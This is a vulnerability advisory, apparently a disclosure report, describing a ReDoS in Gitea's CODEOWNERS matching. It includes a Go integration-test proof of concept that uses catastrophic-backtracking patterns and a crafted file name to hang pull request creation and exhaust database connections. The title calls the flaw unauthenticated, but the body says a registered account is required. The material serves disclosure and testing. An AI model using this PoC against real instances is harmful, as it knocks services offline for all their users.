Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service

This issue has been found by a security agent and review by myself.

Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.

Who can trigger it

Any registered user on the instance. The attacker needs only:

1. A repository they own (created via normal signup)
2. A CODEOWNERS file on the default branch containing malicious patterns
3. A pull request branch containing a file with a crafted name

No elevated permissions, no admin access, no existing repositories required.

How it is triggered

The attacker pushes a CODEOWNERS file containing repeated instances of a catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request from a branch that contains a file named with a long string of repeated characters followed by a non-matching character (e.g. aaaaaaaaaaaaaaaaaaaaaaaaaaX). When Gitea processes the pull request, it evaluates each CODEOWNERS rule against each changed file path — with no timeout — causing the server to hang for the duration of the backtracking.

Impact

Every pull request creation runs this evaluation inside a database transaction. A hung evaluation holds that transaction open, tying up a database connection for the entire duration. With 11 rules in the CODEOWNERS file, a single pull request creation request takes over 30 seconds. An attacker opening multiple pull requests in parallel can exhaust the database connection pool, making the Gitea instance unresponsive to all users.

Root cause

The vulnerable regex is here:

https://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886

PoC

Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.

This is tested at commit 689ace1ce28fd74244b8aa335d9928cdbf6b22f9.

tests/integration/pull_redos_test.go

package integration

// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability
// triggered via the full pull.NewPullRequest call chain.
//
// POST /api/v1/repos/{owner}/{repo}/pulls
//   -> routers/api/v1/repo/pull.go:CreatePullRequest
//   -> pull.NewPullRequest (services/pull/pull.go)
//   -> db.WithTx                              <- holds DB connection for duration of hang
//     -> issues_model.NewPullRequest          <- inserts PR into DB
//     -> PullRequestCodeOwnersReview          <- evaluates CODEOWNERS
//       -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)
//
// The attacker controls both sides of the match:
//   - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout)
//   - PR changed file:    "aaa...X" forces O(2^N) backtracking states

import (
	"fmt"
	"net/http"
	"net/url"
	"strings"
	"testing"
	"time"

	auth_model "gitea.dev/models/auth"
	user_model "gitea.dev/models/user"
	"gitea.dev/models/unittest"
	"gitea.dev/modules/git"
	api "gitea.dev/modules/structs"
	repo_service "gitea.dev/services/repository"
	files_service "gitea.dev/services/repository/files"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {
	onGiteaRun(t, func(t *testing.T, u *url.URL) {
		user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

		repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{
			Name:             "redos-codeowners",
			Readme:           "Default",
			AutoInit:         true,
			ObjectFormatName: git.Sha1ObjectFormat.Name(),
			DefaultBranch:    "main",
		}, true)
		require.NoError(t, err)

		// Push malicious CODEOWNERS to the default branch.
		// 11 identical rules × 1 changed file = 11 sequential MatchString calls.
		// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.
		// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).
		var codeowners strings.Builder
		for range 11 {
			codeowners.WriteString("(a+)+ @user2\n")
		}
		_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
			OldBranch: repo.DefaultBranch,
			Files: []*files_service.ChangeRepoFile{
				{
					Operation:     "create",
					TreePath:      "CODEOWNERS",
					ContentReader: strings.NewReader(codeowners.String()),
				},
			},
		})
		require.NoError(t, err)

		// Create a PR branch containing a file whose path is a late-failing input
		// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces
		// backtracking through O(2^N) states (~2.8s per rule at 25 chars).
		maliciousFilename := strings.Repeat("a", 25) + "X"
		_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
			NewBranch: "attack",
			Files: []*files_service.ChangeRepoFile{
				{
					Operation:     "create",
					TreePath:      maliciousFilename,
					ContentReader: strings.NewReader("x"),
				},
			},
		})
		require.NoError(t, err)

		// Obtain an API token for user2 and submit the PR creation request.
		// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and
		// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB
		// connection for the duration of the backtracking hang.
		session := loginUser(t, user2.Name)
		token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)

		start := time.Now()
		req := NewRequestWithJSON(t, http.MethodPost,
			fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name),
			&api.CreatePullRequestOption{
				Title: "ReDoS PoC",
				Head:  "attack",
				Base:  repo.DefaultBranch,
			},
		).AddTokenAuth(token)
		MakeRequest(t, req, http.StatusCreated)
		elapsed := time.Since(start)

		t.Logf("pull.NewPullRequest completed in %s", elapsed)
		assert.Greater(t, elapsed, 25*time.Second,
			"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised")
	})
}